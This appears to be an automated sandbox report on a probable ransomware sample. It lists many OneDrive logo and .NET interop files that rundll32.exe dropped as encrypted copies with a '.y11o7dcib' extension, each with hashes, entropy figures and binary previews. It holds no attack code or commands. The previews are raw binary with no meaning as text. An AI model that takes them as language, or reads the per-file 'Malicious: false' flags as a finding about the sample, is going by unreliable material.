Preview:	.... ..ON.:...?........2.vE@.....5.8.P....C- ......a.K.[#WW.jp.{.1\|.B.....&:...{..x........R.e.;...o..b.$..*...'b.v.S...T..m...w...J..&.{..'{v.+#1.T.z../.$'m.RB8.X...R.1...e.>.Q.\....3...`...DM]+...z.Z......n+.6_AN4 .U.4..M9(....<....gW.;!.G.v&C...z.m..F.....x0....\...lDC..d..6EYlIr...@.`....K{.EA.WV...9...7..._.z.......t..z.wF.\.q>....x..i..am:...u...`..."'...R..,. T~. ..6j....... .u.Q}.+%.5$..F.kn.?.7!.1.T...b.W.R}..2.....u..;.y.K...7...;..Tp..0'....R]...#OK,#dl..e.E.].]..S..I0#=.x.......b-..N...y....k....z....I..X..._...#1m..X.S.~........C.....e.k..uS.% 1.z....!...hQ..].le....@..@...k.w.G1...Vj.`9gJuT.../o.....A.@..I..,j..=. `..`...>ky....g.e.$&... z..i./.....o...Y.P..7g..........:.+...:...~..'P./k..3.$...&......V..A.04.z.8.'...1....pL....N..\....{m..p....VI;../.....K.n....N+jw.f....:E`.Y.K...^#X.....~.I;m.2F2 ....Aq>...V...5\|.q.!.R.~..FhL\...q[."+.'..y.+j...<.%Q.<....p.[.~`S....nV.....$.iX...Z.l..z..u~..\..E5Y8...2l...tck..ED..Y.'.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-white_scale-100.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1097
Entropy (8bit):	7.5349148568073945
Encrypted:	false
SSDEEP:	24:3CgeaYVjJxl5WZTv95MSWH5kDSQaUc303YU3DocACWFgS:3HBYVV5WZTV5UHvUc303YU3DwZgS
MD5:	AEDC10E38E639B85E24DD98481E7DF53
SHA1:	D1AE4AE3F32EDC9D175C1FDC0B6256F5A873CBEE
SHA-256:	D47AE83133920F13FFC720A4554FDDA6B0F9E1BB531710E93FC308F1EEE616EF
SHA-512:	19D58B8ECFB4A4C67009377CF791A117E1DE3B79E4DA21FF17BA8B38D8D5C7C9390A67B8C251AB47727D2A472EA9E708588DD5A76F17633433ACF578F7E5290E
Malicious:	false
Preview:	.[..43.NW4h.~VN@....8..._P{.A......>6Ej.`\|='rH.......cVSV..#.\|Tv2.=..W&..6......0&Rg....>....'..+.W..o.q.<h..2..Q.........ZJ.E...S^...%g.Gc......a{Z1.m.w....f...Hqo.r..P.s.Q.`..)..].....2.dNC7.%..S..>..[..pr0...4.[.4.Y...+m.Ab.m$..9.2.0..".....`Z.....-.....w..+...`t3...cM..MI..cs5\|..c2..Z...t.>.....]:...Zj..m$.x...J.v......vc.. .,.....1.l.[.\C)..bti...g..Er..!....%....B.....l$.~.)t.=2......5.......N..d......&.w..f.>.]gO\..!..$=....3.H...K.OD.U.;M&..d.s.X$...yMN...T.X...Z]....?.....F..)Y$.t.....B.Tu..&N1.`'...IE.;.... AG0....C...\|ch..2NF..=.i/.....e}..<'..../...=Vh..+...vB...r...z.x.N.!.o.@n...K.0.L...8....D......$.G...R./%=&.W".).K.O_.G.6.........'.{.....<.`.R......~...Vdi.T..CW...8W.hP..`..v..V~...f7.'.BV.I..EhkEk..N....!.....IEND.B`...Z=K3.F\.u...J]1...}.n...$.....Z.....N.....9Q........+D/.<.-.E.Q.gT+.e.&..L....e.-...,[p-.O.Mg....."y./...k.S......p.F..B...E(i ..e._.j.A:Y./.Q...Az[...>Q...!3y...?....2z....8.5..e...oe.J.z...d+.............

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-white_scale-125.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	7.631801007783691
Encrypted:	false
SSDEEP:	24:9UokzyXOnOABCCupXvnTBRDGfTxUjgk0TgLWHKteS:ilyXmupPTL+TxUKgKHKcS
MD5:	6767F24AE3ACB010284B523EDDE033AB
SHA1:	202D974034E4BD4E88F71CB65931B30C3BE1D07E
SHA-256:	05B9509D057D9D064D093BA664D4931F136AB25156AE58AFC2F1CC8B350F69F6
SHA-512:	0D1FAE467B3DD8134A576293053078959F65C5A2B9F7F9149759D71F2FC0B16DBBA373D2FEEABAE7BC7FE9372702289ED4F512DE5F3AD9C114C5702879CC1575
Malicious:	false
Preview:	.`r......".E...]...d.Z......1.cs...."W.w..$q.+W...O..".:.eeIlO.6........ +%....!..t@....i%...m.T..527e...OT.D#.v VQ./[..!.....~G@z....3..{.e....\|._.....e.k....j.._9..u...C.;...n..&8..g..3l..gD.Y..2.[.A..h...e.^3.V....\...[0...Y.4.....lk..?FFlk..6...V2..9...c.AtCv.fB...oj..j...g.._....'.K2....1R.B,K..F...j...a.....Uv{`\|.B......x$C.i/..3...mu:Z5......w1..Y"..y..40]Ua....M......,.n>..].....C?>.)..kI......(T.QM{..<.?..8.8F..E..W.x[.f51.C.r.......b.....`...[......,D...I..a..;...z.I..._1zT..'....o.......D..`H...2..\|...7..0..[..l........L.%$.......X6.i..;%.coc.6......6.w#...l.d..9D......b...-...@.S..?.z....B~..@.0...eY...ysZ......6K.9...PY...,B..l..x.7ue....o.x[!x..9....[...#X....^(_7j.v....Yf.{....fj....K.R..D..].,..du../..{.....}tv.....V..H.#`.......m.P..).....fMa=....z.&.&..689!.....O;...?.(.ed.f.jV.\|u.....:.b.y{o. ....s.k?...if$....,]*....hi.TO.j......7.....h6.U....r&s....(.%.c-,G7...]...f..z.%.`0.....P0...C.`(.....`0.....P0..Fb...c.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-white_scale-150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.662843300268151
Encrypted:	false
SSDEEP:	24:GUE2VSZ8IVTmqYg354ynKH3PlTr1CSameSNvz9++NAnUJsEICKIjpU1TIqkS7PA9:GUE3/754wo3Phr1C7mxh+sAU7CIjp+kn
MD5:	66C4F5D0CF22A662704E6B60ED6975B1
SHA1:	00A37FF6570660522D983F50D23E90E7D39CF3B5
SHA-256:	D56710383A9B1E3BB16C52604F0EE80D865C7CA5294E9CFD6D77D82B9390DD46
SHA-512:	5559122CB4D70DF120D35906707AEBF41E1AF2CDD155D0B21F61BDBF8FEE77206F03AD4064191E6FA42FCF7A4AFB9DE1D9FF855CDFF3F766DC74A35880526FDC
Malicious:	false
Preview:	.e...O9.........c.V........+X.P]=. 1t..&k:..._<R3...........s......;k<... ..G_V..,V.h.S.2s....Ur..;..D-...5.^.-.....G......'.....r..w-@1..p..3....1...QG. ao~b{...I._lK!.x.%....].l...cu.LW#y........q.......R.W9X5.P".`x}....>.,..uYq.\|..$.....3.v..;....%...x..W.^..d...z..(.`4......O..w^@n...)..6(.....\|~.>ik..FZ.q.-.P..n.....Y_1gH.p..?`.oE...A.%.~.]..`....Q.a.......1./..?{........0..u.P.M..N...J.2.S.....:.6.....1]....M%..z+.P.......e...1(.E.Z...)..a].-..P.:..D..lil2.q.."...3jL....j..CAPk..U.11....].A.x>.Z...`..f..v....E.....p.....`..vX...L.b4....... w.......q.......)$g...P.,.C.H.y.0..].d.}.............h@\.....yf....a,.\|..c.m.1.4..$....y...Wq....<p....\c..EM.F<c.Y.....O...e....L.t~...y..J=...=.=\|.6...c.!..........+...T9.\...l.a^Z.m......z.7...B-....c ..........u......I2.:&.2..?..0. .>..5......P.K..~?.!.-.._9...J....@)....r..(z>.G.s.U+....Z.`..0...w.y.d...8....r.bY....bK..{.j._......2/..U..SZob.J.o....&.......N..A$9.a.o..3.:.L.....,.?D...<

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-white_scale-200.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	7.774002643003457
Encrypted:	false
SSDEEP:	48:U5GsB/q38pTP/Q2bx0KirQfl5ybRIqAqoTDph06Kln/3S//qG04HS:U5tBy8pTH/WrQfOJAqoTD86KdPS//zHS
MD5:	3C078B801759834AFDB81E322017C2A2
SHA1:	89CF245CBEFE66CBB4C148559A07E931D1CCC35E
SHA-256:	583069207D5B7872700F760F30334542A695BD67D8C09D23067F86EE91E2A14C
SHA-512:	24996BC5D0997B04CAF241B2F67A69F4F250EADBF4503D1FBB78DEBD46E16C3C2493E4C2D2BC09718C858F993817738A47374E89F7B1F4CA5CECA7589D671CAE
Malicious:	false
Preview:	.b.+F..O{6\D..b.1.....w.x...$.#Kg.c..9....R......}..n]X....X.gac.a.h...t!.....)......J..?.-t.~..........F1..G$.ZX.....0v......l.0....f....g...p....Ht+..[.......[R......_$..Q"....f...3..J..Dr.]@$R/=0.]d..vT...,%\|g.P.b.7H.Cm.......N}W.....'.....y.;^mB5.L.7U.Z..8Z.l..~.q...-.....j3.@g.e.S_$c.G..8n?.3..Z.......A......q..2@"'..,!uH...t.K....=`..Y..[E..=.1..8e.P>..D....%}.f.+MH.l[......r.J...28-.}......\|..z.d4V......oO..!H..!;"v...bi.O..".}V.j.W..n.......U.g..V.h......N..3.....h..........@.g......f.M.{..}.(............o3^........q!...\|.@{.hp.3fal....y..a.....}.W.kE...y.[P<{2.3;....G.b..\.+T....Zl..;&..].u@...&..-U<.x.`..w.I.c.Z3b..:-.E......G..Gw......l...=..........y.<,...32d.(c..j.y..5.V.......UE....."...+...=..el..P.X....Alf.1.O..+[H...#m?.....L...=.a..Z...&)Qt&.>.T..3.6..c....@....Vr.,Z.....Z)..0.....I....J.^Pqu..P.....1.(.....f.r.....@...4..1...LKE..b...\|..g........:..".LM...!.)...\..kauI..*:..........b..j.Fa...d.:.m..

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.contrast-white_scale-400.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3790
Entropy (8bit):	7.908165537983709
Encrypted:	false
SSDEEP:	96:ztUnj32o7fUc97Iejty67R/Pt5WZbhDiCAN2aSswnGS:ztqj3BUc97vjQ61/PtYZbhD8wnGS
MD5:	EAF5E2F9167D56A49232CDE4834A5B40
SHA1:	4315F3E2F327DAA2F74096EA01B0C89D8EEA96B9
SHA-256:	BE0BE172F5C7F3CBE42F1E14085592F5B26BC60E55EEB56F8C333800FF30F8EF
SHA-512:	8EDF70358FBAAB618BD0FDA6D805A1D5208EE88953EA9EA20F4D89CB880F39577EFA4AB8AC564D51CF3C851D393708A55C5AE4A3091192DA9271DB1BA702D529
Malicious:	false
Preview:	ZE\....d.<#x..A...$.f....s.y.....9@.2..\ZF..5)...j...?.Z,.>.<.].i.M..:.......}..n.w$'"\|.4a7..~.....)..^[(...v..n......,P...pV..g........Sr...J...;H.B.?Hk....r...K}....J?.....A>.V...C...o..;.q....P=..%,.....r.S(r...~`).(."Mj....P...p...j`NNM..b..m^-.n+..J.qM..'.o+...p .....\|.AY.3.(.l.W..C..n.k...K..UOw.".......j40.b......>N[.....yX..(..1..1i...@L./..4.i7..;J.W..%RH.....\|0/2....[..D5.>...Jb..#C.g..k.....F[N..../....aQ..].U.S...^.&+-.....@....od..u.C..8AE...p..#..]Y.N"@b.`..i.....+.~.....c......1j.3..x...uHW........zu...@........,..T.......f.3...........)....J.H].......Y...pU.)..)B.V....$DldR^.....[.?...um....b..[...ek\......:Z.F..SY...:..I...E......[FT.f..a#(KZ...V.I...M)....U5?.....CL..<h?.U.nU*T..oU.N..P.....D.Z.....).....}(H..ex..q.O.....$[}...:.....@.....,..hb(..=I..r..F\|...Gm.1(.0.u......>..y.iB..ivj.i..k"..SH.0....b.".0.%Sm.,......I.w;p....Q@.Q..3........6.Z .K..K.....n.L.7xu.}..0....5"fA....U.>L4...?{..+......:.P...#...`4..

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.scale-100.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2289
Entropy (8bit):	7.815453511863539
Encrypted:	false
SSDEEP:	48:RgGML6C5z3E8w19iOKQaA7hY2X6/lZm1yCBno84FS:mGMLn5z3Ev19iOKtSq/lZm1yCt4FS
MD5:	3BBED36014803FE9FA1B4C67C7AC9AF1
SHA1:	5178659BD9DFE9FF0CEBF625C8C10EE1C825EF89
SHA-256:	AFF3DD4234EECCAA299A938940DE42EBAA0A5D3DA7943D3A9BC3EA558BA0E4D6
SHA-512:	8B03601617FD6D0671C7C58984A62E1E65924C81614A91393698FAB32C481E21FE1290329C46B027BF4D7F4DF5E60556CC5E0EAF735D300B0DB08D7B7380759A
Malicious:	false
Preview:	X3G;..].jd...y...d.?.-.j.......X..k...._...~.&6.5p.%6...V...<.R.. _d........%.e..P.......h.x..3......k...$...G.4.X.....o..i...b0...ci%@r.;.1.'.\|..T.......C.W?..ph...:=........J.o..Aa.]........S...dXP..e..7.Z........z.......;..dq.8U...N?..K.9..f.\|..4.i.Kq..I.)..[.M".."m...4y\..#..L...$........ThJk.....o-...G.....E.1..M...eH"...8...{.C.+.+2..*)LN.n.9".+....7..,..#,[...fC..@J.......'..\.e..s.M......+.. E.RI..O(.!.c\Rl.....Z.........4..~z.wS..PJ..Du.w.....{......\.......@.w. ..C...17.K....D.7..V.7.^8$M\....>.De.&M.`gi....L...<.O...z...........R&th.......O.q.(xb.jc`.....).P.'?v.h..3{..D..b.._n.0.%v.Gbh.4qT..U...f.l%.1..?!..0......hQ....`f{..-.#.i.....a.....J.Bt....`1:.)....zA$.............J.......D.Y.M...w.]N...T.!..F...\|.r AV...d.V3...........Z.oz...`5..!.dwL..U/d....\|..-....4...f......0..q......Da..(......t...0..&.X.9...w......i..C....e"t.....f=@..}.>].y....<W..&...3./...~....._KY..wu...t......s.M..w.2...=..=.!..RI..$6........

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.scale-125.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3179
Entropy (8bit):	7.876304261456421
Encrypted:	false
SSDEEP:	96:FlJ5FCCHW/sHHw6zxNMwwEwGFa8G/VoAsO1HS:FlJ5FLrzzxNlDrNG232S
MD5:	FCC4920B58A26367AE9965A613086A39
SHA1:	8EB4DD64800D37887A98750F3F654A9EEC545217
SHA-256:	4B150BF7CC43FD331171015087EBFFA56168DAF1D2B629AF8B711883DAB7391A
SHA-512:	1119FB5115C804ADF2CE5CCAFE9F14E274168D6C23C5C57D9F2EF7C902AC2A0EE61A15B11D7181E0217195D8B211855A72CC120A299F1399B41211F46EDAD8C4
Malicious:	false
Preview:	Q..TQD4V.BB....-...7.\.. `'..Zf/...........G.......?.R.......5U..@.3.Gq...f}..`....?..d(....;N...~..j._..O"S.... ...X......3..(..m;....5.+..M....TI.j/.$...f..g....x%.<B/E....Y..N.r.W.-..._n.\|.f^.....R...F...1.h{.....c.'..4.yf>W.I...z.....!.N..s..-.\|"Z...u$.9..2.z....%....._.......@....Z.:...k.....Wo`.U.0.'(.#u........7...p..WdSbB..)....Q.w..CO.-.....r.....F....jr........C:..S.t..?...{..=.........P%u.p..;+.....n.;.H..G.U.......J..j4J[I..$``t...2..UN....}..\|:.a%D...<...T.%..+^.v....Id$g\|.d.j......%\`.~j.W&U.......G7.h.^.X.........f.(]Tn...`.....e3......[......H..y.h.H.?..Ya.!x..AL1.b.m3urm+....x.% .L..9..R.).9G,O...!.."V[!$...d..P....z{z.O.3.4.]..._..._%.p.ErV.gS.U+.m.i...06x.W..F}3C.?uO..\....>....$ZG?.mR...bv.j.....l..Z/...y/Zlk...B....BX.?&...........go$<.?)C...."...MY..T/0X).H.E..t.........s............d..D.(...&I.ERU...es\|.....o%HTkI...m.....O...Fy..t...G.dI?i..b.....FF.?....X.Z[.1.rq..)>.4....<.....7\b.C..?.v....dV..+<v

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.scale-150.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3802
Entropy (8bit):	7.894784486612242
Encrypted:	false
SSDEEP:	96:8d1e1aa8T814NQn6is0KsNferzTEI9NWS:Ie0a8T814q41s4rz3mS
MD5:	51F6DA8408173BD2DD0A34A77AB404C1
SHA1:	E7CB21C6A8EB386D8063EA7642EF2717869AB97D
SHA-256:	722BE6DE94D473271AE6CD597431B0999DD473CBCBFDAE51D283FAAD419AE726
SHA-512:	A252FFB89E71A3D23442623F9BC6D1E10282707FB66ABEBBC1A51198400B06BB5CF0AFF0B11C8E3D40C2BDAEF2E53661E35EE8AFDAE9B88B05D33707F2C17AC7
Malicious:	false
Preview:	.....9..Z.Y#..:./tlmd...2..iS~s...wK.....!_..Q.ccC.../.Q...2........X.3.n......I....$.5k.,y..:........_..K..l.I.A.6..cxA.........z....fg.F.W.YO.e<.a.7^...+.'..hM...Y.~e.^.....Eb2.j^i,`64.:.}1....o..h.......i..h.7_r...P.......e...@..<[.UJp...Q..2.....)[..5...el@......).}.1.?.....i....tC@c..<..'.$.d.Lv..E....]V.'... U..M...[..b..^...N.R.].N.0....E ....I..AK..\q.f.x.q...:...^...9i&.H .=t..j._..].....I..u)...i........xSB.........._......\$..H.....L....y.v..........v.x.I.......PuV..:o.......g...M.H(.-..BS..a.V].Lr....D........1c...M..G.....\|.../.....R........P...4U..6.......j;.....QS..f..szm......Dzc.. 6....pji3%.s....j2Z.c.X..:.U..t.T1Fv.1...TOc.h.\|......u...........n...!.$L._c0....9kz..d1@.....x..].....,.l..+....>....6.@.....@.Ov_v.....0T..F._6.......p-....Bfx....V.kK.<..:;.+..3.....4<.P.l.}...6....J+.0t...#.....,y.e..=....g...gP...\|nvk........k..U.Xo..+..P=..g^F..'..$...nE. ..x"..8qN...cR......)......3.f....v......)v.@..2._F.l..3.?../\.

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.scale-200.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5101
Entropy (8bit):	7.9329499596392345
Encrypted:	false
SSDEEP:	96:o0K/45c1M37xBildXQjpWbtuIheP+7ksBGRSHhVW59ugm8Q5lS:bK/mDLWld2cbtu3P+j3Va9zmzS
MD5:	BD6BC61D768C674F19715E395E296235
SHA1:	B77E2C59C2EF1351E901A1ACCA3879812613CBE0
SHA-256:	54350D62934147C2C6E1F44A924B4039B93214F7F5A3D4E7A9574DF72C834461
SHA-512:	8CF73C5B672F59431241362CFE5E259D774106BBB5045AE17F2F1EBCB6B4E9664192994E0DBCB866EB71C2F7011A16CA4EBB66E0E4CDF7C08EF9F10C15BDF9C6
Malicious:	false
Preview:	.[.@.....0........?7......@%..%R.9]X...4.~`jq..f...^pd.2R...T.....WA.Gu...8..1k........+..../eEl....`].].t....(8...q`._4.E.h,.x..!.......S'.MT.........J^o&;...#0p.v...q...$......f.a.R$.........;..@...... )..<![.....`l!1....{q.;z.0]....J..L..C.<.........;..@...... )..<![.....`l!1....{q.;z.0]....J..L..C.<.........jT.U.P.Q./.P.......z..~U..k<..a..g.:..&...X........I{...G...T.t.C9........?uz.q.PF..G......^c.Gw.$6.6.....~..KE.....i.F..<b..{&.+....m.d.p........V0.BD~l..0.6.Vt.%......-.o................n.X49...i=....8.......;.......hN.L.......kpc6!Z.M..w.-.5......,..W'...R...k..........{.<0.T.l......s"...?......I=Qg..4o...;......u....j..`a882.\n. pT....&L.^...r...&Q..Q .e6.?....VB<..H.8.....?.\|..3..2\......;Ww.......u}....H.i.p.F.~.c.R.._.0.9[.....wx..I.U..H[TVh.......u.8z..^5_.!..D....7.]...F.!.>.e.."..+..z.....5.~..h.).L+..6.J..I.b.9.8....%..Z....w?...u.b...nc....W."N..)L.....8j.SE....w.7N..'...........E...n.....'.-....g'

C:\Program Files (x86)\microsoft onedrive\LogoImages\OneDriveSmallTile.scale-400.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12157
Entropy (8bit):	7.948936388872863
Encrypted:	false
SSDEEP:	192:0eRCAXsMNMnbgronZKtoBiDmqh4S8ssKvXydBG0bLW+Ao8dx+pwZNmlfZdSa4cCT:X/DNMbgnoQjhSKvCdBGQ58O6P2d14cs
MD5:	149E4E8D30896D0FD103DA20CCDE5B0C
SHA1:	80EE59D279F8FE47A4F62C831887680BA17060DA
SHA-256:	C4326D3ADF7DDAA38FC8382056FCCA82C8B70A639980CF4EA85244912F234BEF
SHA-512:	1D9BF3639A05B87D8A5657DBCDE3E73574499D77467DB41704C4282820591AC0D0C128169B7C14F88684CCE7F4D1B0473C225255C3A90A5AE8294A2DC43FE84E
Malicious:	false
Preview:	..b...Z1.8...Pz......(.M...x[....#...~`.Y...`f.;./..g.@R.)....$Gy.:.....szz...F.H............9l.!....ey.5.^..3 ..0......eA2.@F.H.. #..Fsi...r_UgvGF~_DdUewW...^...3.._\|....<....%J..A;E9....=\|..9..)...K..i.d. .S..N`I.......E.=..f. ..R6H......... 1 ..@b@0...`............$....H......... 1 ..@b@0...`............$....H......... 1 ..@b@0...`............$....H......<...q..8.k.(>~mj}.5(:.._..p..b..H_Q...x.G....y.@'......d...7........$....H......... 1 ..@b@0...`............$....H......... 1 ..@b@0...`............$....H......... 1 ..@b.....L&....x......5....g......~..W.T.a.Z.}....wbc!> ..}.,.I'D..c.(...`.`....ML.bY.(.....i> .&.F....Z.L...i. .&......'......u@B4k.....!..\|..........p..Y .5L..b...r.....g..l .&..Y.8..&.[3.%.q....l.%O.C#.YL............C.B...^...`.....M.W....b..<.W..U...{.Y..<.M.`....E.I\.H.5eLR..#"[9.'. _5 .U......'.....Lb1.s....Y.@0.D...E%qDSkD.PK.b........8.W..f..Q.6.H.l.....M.. .....}..m.Hf.`...F...I....^..yAR..C.z.X+~.....E.3.$

C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\Microsoft.mshtml.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8007994
Entropy (8bit):	6.264697410829436
Encrypted:	false
SSDEEP:	98304:IZmd0EV5yh2zok4aLQZ+9ZU8Fhlp3F450cu2c:IZmd0EV5yE4r+Z/5F4Ocu2c
MD5:	F4E2A88C5968C1CB54A6D00F167BAF0B
SHA1:	FEAFF7EC6FA45A27FA7F2F3FFC6598CF2E90E0C5
SHA-256:	3C172A4D05D8DD5BC24FD9C5D5AC0ED2D2121202A52683D931F97EA13E00B87B
SHA-512:	4EF19BACC4C5229173B231D6E9F3591DD50F434F53262F6661D6B809DC1FD48592DB58284A98D046949111DD3E605E4BA51286B4B60AE3EDB75B090FD3E6B71B
Malicious:	false
Preview:	.H..,......T..r#.XV..<....a...$.....?te...n..KO....H...d.m{x........!..L.!This program cannot be run in DOS mode....$.......PE..L...0.6<...........!......z.. ........z.. ... z...@.. ........'H..,.....N....C.XV..<9Hm.a...$.....?te...~..KO....H...dam{x..z.S.... z.x....................@z...................................................... ............... ..H............text.....^H..,.....N....#.XV..<....a.w.V.~z..?.f...N.K_....2...dam{x....@..@.reloc.......@z...... z.............@..B..................................................................................'H..,.....N....#.XV..<....a...$.....?te...n..KO....H...dam{x..................................................................................................................................'H..,.....N....#.XV..<....a...$.....?te...n..KO....H...dam{x..................................................................................................................................'H..,.....N....#.XV..<....a...$.....?

C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\Microsoft.stdformat.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13626
Entropy (8bit):	6.3394874310898945
Encrypted:	false
SSDEEP:	384:BVOK1x+NktEPPcuiTWyeO6wZattE7R72Lo7WQ4pWW/Zl:p1xDtwxiTsDwutE7Qk4pv
MD5:	737C6BC9AA2DA1FA70DC7E0C45C48C23
SHA1:	4CA27C8C5802EF59E47A639B54D87C55F4389A74
SHA-256:	38707E956ED5C1EAD4C009D9EB4FCF6AA40ABEEBB23A6C34A767A1463C6802D7
SHA-512:	C15E5FA13D599DB26EF8EE4F29D491831547BBA0AAD67162A7A1E12ED4591B034E7EAD78BE32B2D53840C695C525D247B84B43EA68AB00BBA1A67F75F4B5D9F7
Malicious:	false
Preview:	.o9..2.>..1.d.].S..9..eP.#$...FZ.OP#.(8..;B.=3.o.M.1.......g........!..L.!This program cannot be run in DOS mode....$.......PE..L.....6<...........!.....,..........~J... ...`....@.. ......C5...2.>..1S..]...9..e..#$...FZ.OP3.(8..;R.=3.o.M.1....y..g,J..O....`..@............................................................................ ............... ..H............text........2.:2.1S..].S..9..e..#$..kh(.=3#.h;..;".=3.o.c.1....y..g....@..@.reloc...............2..............@..B................`J......H.......\|(...!...................'......................G5...2.:..1S..].Q..;..g..!&...DX.MR!.:..9@.?1.m.O.3....{..e.............................0..............{....9........{....o;......0.."...........{....9........{........o9......0.."...G5....2.A..1W..].St.9..\|..'...dqZ.Iz..;....B.=3.o.[D.1....s..g. ....}.........}.........}.........}.......0............ ........... .... ...... .... >..... .... ...... .... ...... .... .....=...2?...1..[.S....e...#..+WZ.O.+.

C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\adodb.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	110906
Entropy (8bit):	6.67681528574758
Encrypted:	false
SSDEEP:	3072:pMLK9c1XY11K0VcraH5nKEU2v/p4r7MkWqL:pMLR1XY7K0VcraH5nbfvx+7D
MD5:	86C1A49657A8B0A333431002AFD5C06A
SHA1:	0EED92F08B5E5D712A70A3764E7C51F82744A05B
SHA-256:	5E3012A7026BDBF6E95C2F577896B698426656F424F1BE8511F4ADFA8DDD42FA
SHA-512:	92C7D708D872D303EF35445A8BE7322E4BD67BE47A0047B0B30EBF760B55604C11363832C7E3C67F4FD5E30BC68968084BD81B0ACC6C077CA64E640E5013AB24
Malicious:	false
Preview:	-....{cw9d.tUa.....d.].'o..w.......%)......F..&.>.!.....-,...l.........!..L.!This program cannot be run in DOS mode....$.......PE..L....[.=...........!......... .......... .........W. ......d.u..{cw9d.t....^p..d.]....t.......%9......F..&.>.!.....-,.B.l.....W.......P............................................................................ ............... ..H............text.....t..[cw=.t....^...d.].go..W....F).....Fx.&...!.c...-,.B.l.....@..@.reloc..............................@..B................................................................................`.u..{cw=d.t....^...d.].go..w.......%)......F..&.>.!.....-,.B.l.................................................................................................................................`.u..{cw=d.t....^...d.].go..w.......%)......F..&.>.!.....-,.B.l.................................................................................................................................`.u..{cw=d.t....^...d.].go..w.......%)..

C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\msdatasrc.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4410
Entropy (8bit):	7.338488975138867
Encrypted:	false
SSDEEP:	96:UkuOZD2wkZbJuO5JU0Oy/RzHvT0nc+pW8qLS:Uku8DUwIJU2QnmnLS
MD5:	ACD6FFDBBFC397984593B5FC74AFBB80
SHA1:	804BE6B58B85EF92B3861D13A2C83EB6E8A11EF2
SHA-256:	E650557AB6664B34385780A020E8180F26E9060B0886731CE60F9D7B98C0063B
SHA-512:	E1DE974D9A5A9B4D8C53837B236A80AA4FDECED14EF2CD8E005F9A6A35C5C0CAE9FB59D52BA85651B2489EAB7685ED5EFDCEAB4516E023A180E0EDCFDA590EE1
Malicious:	false
Preview:	..(.e.u.G......Y.....x..7.\.,.............X................X...f~\|.b....o....'.n....Z.?.B.`}..7...r.xn.P....f.. ....O.......v.....N........v..6.\.$..........<.X....P.........O..R..f.u.G....N...H....x....\.,.............X.............O..~..5.u.CQ..nM........x..7.\.,.............X.............O..V..f.u.C....N........x....\.,...........;.Xb...........ce;.....f.u.C....L........x..7.\.,.o'..t......X.............O..V..&.u.mc..A-........x..5.\.".............Xj.............O..6..f.u.....,N..9...L.x..7.\.,...........;.X..............O..V..f.u.C....N........z.....'R......D...D..$.\|u9..M...P..^.8.....)1..EG6..Ukk;<[o.....4a...gh.Pv....U..../.!#..U.^.....rF....'.Y.s....?%...N...d...,............h..4..............u.....u..........`...x..3.\.,.....S......X.....R.l......N.....o.u.C..L........x..7.\.,.............X"............N..V..&.T.E...N..b.&......7.\.,....W.6......X,.,.......*....N.........C.../N!......x..7.\.,....l.#...

C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\stdole.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16698
Entropy (8bit):	6.377806635003492
Encrypted:	false
SSDEEP:	384:NkbqSQXpelHiEnW5dOCx5J+L9jCQW5WWD:CbqSQXIHi+WOdxCHb
MD5:	88A57D0ED78A8BF3F1ADBE636D6984E9
SHA1:	4AE068BD7352CC01AC00260C0FCB2B2A6B22AEEF
SHA-256:	01E74DBD1A8AD24C418C250DE4D966FE6631212D5BC4E295F24F8016CF59F434
SHA-512:	4631098B3F1582EF4BB771D4520F4D419F294E177BB17D89AC913CFEBB73EE83EB746D0028E55A795CF4F35C0F5346ECAB414DF692DEB0805C77F000D1CE11ED
Malicious:	false
